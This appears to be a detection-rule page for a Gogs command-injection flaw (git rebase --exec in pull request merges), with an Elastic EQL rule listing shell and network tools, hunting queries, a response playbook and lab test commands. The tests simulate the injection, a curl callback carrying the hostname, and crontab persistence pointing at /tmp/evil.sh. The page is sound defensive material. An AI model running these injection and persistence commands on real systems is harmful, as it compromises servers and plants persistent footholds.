CVE-2026-52806 Elastic Security · Elastic

Detect CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge in Elastic Security

Detects exploitation of CVE-2026-52806, a critical command injection vulnerability (CWE-77) in Gogs versions prior to 0.14.3. An attacker can inject arbitrary shell commands via the git rebase --exec argument during pull request merge operations, leading to remote code execution on the Gogs server. A public PoC is available.

MITRE ATT&CK

Tactic
Execution Persistence Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.name with maxspan=30s
  [process where event.type == "start"
   and (
     (process.name == "git" and process.args : "rebase" and process.args : "--exec")
     or
     (process.parent.name : ("gogs", "gogs.exe") and process.name : ("bash", "sh", "curl", "wget", "nc", "ncat", "python*", "perl"))
   )
  ]
  [process where event.type == "start"
   and process.parent.name : ("git", "gogs", "gogs.exe")
   and process.name : ("bash", "sh", "curl", "wget", "nc", "python*", "perl", "cmd.exe", "powershell.exe")
  ]
critical severity high confidence

EQL sequence detection correlating a git rebase --exec invocation with a subsequent suspicious child process on the same host within 30 seconds, indicating successful command injection exploitation of Gogs.

Data Sources

Elastic Endpoint SecurityAuditbeatWinlogbeat

Required Tables

logs-endpoint.events.process*auditbeat-*winlogbeat-*

False Positives & Tuning

  • Legitimate git rebase --exec workflows where the exec command is benign and expected
  • Developer tooling that wraps git rebase and spawns shell scripts as part of normal operation
  • Automated git hooks or post-merge scripts that spawn curl or wget for notifications

Other platforms for CVE-2026-52806

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate git rebase --exec argument injection via crafted PR branch name

    Expected signal: Process creation event: git with args [rebase, --exec, id > /tmp/cve_rce_proof.txt, target]; child process creation: sh -c 'id > /tmp/cve_rce_proof.txt'; file creation event at /tmp/cve_rce_proof.txt

  2. Test 2Gogs suspicious child process simulation — reverse shell via curl

    Expected signal: Process creation event showing bash or curl with parent process name 'gogs'; network connection attempt from gogs-named process to 127.0.0.1:9999

  3. Test 3Persistence via cron injection post-Gogs RCE simulation

    Expected signal: Process creation: git rebase --exec with crontab modification command; crontab process invocation; file write to /tmp/cve_persist_marker.txt; audit log entry for crontab modification

Last updated: 2026-07-21 Research depth: standard
References (5)

Response Playbook

Triage

  1. Identify the Gogs server version immediately: check the Gogs admin panel at /admin or via `gogs --version` on the host. Confirm whether the instance is running < 0.14.3.
  2. Examine Gogs application logs (`gogs/log/gogs.log` or configured log path) for pull request merge activity immediately preceding any alert, focusing on PR IDs and contributor accounts.
  3. Review process trees on the Gogs host for any child processes of gogs/gogs.exe spawning shells, network utilities (curl, wget, nc), or interpreters (python, perl) within the alert window.
  4. Check network connections from the Gogs host for unexpected outbound connections (potential reverse shell callbacks) using `ss -tnp` or equivalent, especially to non-standard ports or external IPs.

Containment

  1. Immediately isolate the Gogs host from external network access if active RCE is confirmed or strongly suspected — block outbound internet access at the firewall/NSG while preserving internal network for investigation.
  2. Disable the Gogs service (`systemctl stop gogs` or equivalent) and revoke all active Gogs session tokens by invalidating the application secret. This terminates any attacker-established sessions.
  3. Force-rotate all Gogs user credentials and API tokens, prioritizing admin accounts. Audit for any newly created admin or service accounts post-exploitation.

Evidence Collection

  1. Capture a full memory dump of the Gogs process and any spawned child processes before shutting down the service, using tools such as `gcore`, `procdump`, or equivalent for forensic analysis.
  2. Archive Gogs application logs, git repository audit logs, OS auth logs (`/var/log/auth.log`, `/var/log/secure`, Windows Security Event Log), and EDR telemetry for the 48-hour window preceding the alert.
  3. Collect filesystem artifacts: recently modified files in the Gogs data directory, git repository working directories, and any web shells or new executables written during the exploitation window (`find / -newer /tmp/ref -type f 2>/dev/null`).

Escalation Criteria

  • !Escalate to incident commander immediately if evidence of lateral movement from the Gogs host is found, including authentication attempts against internal services using credentials likely harvested from Gogs repositories or configs.
  • !Escalate if any git repositories hosted on the compromised Gogs instance contain secrets (API keys, private keys, credentials) that may have been exfiltrated — treat all hosted repo contents as potentially compromised and notify stakeholders.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Gogs application log entries showing pull request merge events with unusual branch names or rebase arguments: `gogs/log/gogs.log`
  • >OS process audit records (auditd, Sysmon Event ID 1) showing git process with `rebase --exec` arguments spawned under the Gogs service account UID
  • >Network connection logs (netflow, NSG flow logs) showing unexpected outbound connections from the Gogs server IP to external hosts post-merge event
  • >Git reflog entries in the target repository showing unusual rebase operations or refs created during the exploit window
  • >Filesystem changes: new executables, cron entries, SSH authorized_keys modifications, or web shells written under paths writable by the Gogs service account

Tuning Guidance

Start by scoping detections to hosts where Gogs is deployed to reduce noise. Establish a baseline of legitimate git rebase --exec usage in your environment (common in CI workflows). Whitelist known CI service account usernames and controlled runner hostnames. For the child-process rules, build an allowlist of binaries legitimately spawned by the Gogs process (e.g., git, ssh) and alert only on deviations. Increase confidence thresholds in environments where Gogs is updated to >= 0.14.3 — detections remain valuable for unpatched instances and backdoor persistence post-exploitation.

Hunting Queries

Threat hunt for all git rebase invocations on Gogs hosts over the past 7 days to identify historic exploitation attempts or baseline unusual rebase usage patterns.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName has_any ("gogs", "git")
| where ProcessCommandLine has "rebase"
| summarize count(), make_set(ProcessCommandLine), make_set(DeviceName) by InitiatingProcessFileName, bin(TimeGenerated, 1h)
| where count_ > 0
| order by TimeGenerated desc
Hunting — SPL
spl 
index=endpoint sourcetype IN ("crowdstrike:events:sensor", "xmlwineventlog")
| eval cmd=coalesce(CommandLine, process)
| where match(lower(cmd), "rebase")
| stats count by host, cmd, _time
| sort -count

Atomic Red Team Tests

Test 1 Simulate git rebase --exec argument injection via crafted PR branch name
linux

Simulates the CVE-2026-52806 attack vector by invoking git rebase with an --exec flag containing a shell command injection payload, as would occur during a malicious Gogs PR merge. Run in an isolated lab environment only.

Command

bash 
mkdir -p /tmp/cve_2026_52806_test && cd /tmp/cve_2026_52806_test && git init && git commit --allow-empty -m 'base' && git checkout -b target && git commit --allow-empty -m 'target' && git checkout master 2>/dev/null || git checkout main && git rebase --exec 'id > /tmp/cve_rce_proof.txt' target

Cleanup

bash 
rm -rf /tmp/cve_2026_52806_test /tmp/cve_rce_proof.txt

Expected Telemetry

Process creation event: git with args [rebase, --exec, id > /tmp/cve_rce_proof.txt, target]; child process creation: sh -c 'id > /tmp/cve_rce_proof.txt'; file creation event at /tmp/cve_rce_proof.txt

Expected Detection

Alert on git rebase --exec invocation with shell metacharacters in exec argument; alert on sh child process spawned from git parent

Test 2 Gogs suspicious child process simulation — reverse shell via curl
linux

Simulates post-exploitation behavior where an attacker's injected command spawns a network callback (simulated reverse shell initiation) from a process tree parented by a mock Gogs process. Tests child-process detection rules.

Command

bash 
cat > /tmp/fake_gogs.sh << 'EOF'
#!/bin/bash
exec -a gogs bash -c 'curl -s http://127.0.0.1:9999/callback?host=$(hostname) || true'
EOF
chmod +x /tmp/fake_gogs.sh && /tmp/fake_gogs.sh

Cleanup

bash 
rm -f /tmp/fake_gogs.sh

Expected Telemetry

Process creation event showing bash or curl with parent process name 'gogs'; network connection attempt from gogs-named process to 127.0.0.1:9999

Expected Detection

Alert on suspicious child process (curl/bash) spawned from parent named 'gogs'; potential alert on network connection from Gogs process to non-standard port

Test 3 Persistence via cron injection post-Gogs RCE simulation
linux

Simulates attacker establishing persistence after RCE by adding a crontab entry via injected git rebase --exec command, mimicking a common post-exploitation step following Gogs exploitation.

Command

bash 
git -C /tmp init /tmp/cve_persist_test 2>/dev/null; cd /tmp/cve_persist_test && git commit --allow-empty -m 'x' && git rebase --exec '(crontab -l 2>/dev/null; echo "* * * * * /tmp/evil.sh") | crontab - ; echo rce_persist_test > /tmp/cve_persist_marker.txt' HEAD~0 2>/dev/null || true

Cleanup

bash 
crontab -l 2>/dev/null | grep -v '/tmp/evil.sh' | crontab - ; rm -f /tmp/cve_persist_marker.txt /tmp/evil.sh; rm -rf /tmp/cve_persist_test

Expected Telemetry

Process creation: git rebase --exec with crontab modification command; crontab process invocation; file write to /tmp/cve_persist_marker.txt; audit log entry for crontab modification

Expected Detection

Alert on git rebase --exec with shell metacharacters; alert on crontab modification event following git process activity; file creation alert for marker file

Related Detections

Tactic Hubs

TA0002ExecutionTA0003PersistenceTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1072Software Deployment ToolsT1505.003Web Shell

Same Tactic: Execution

Popular Detections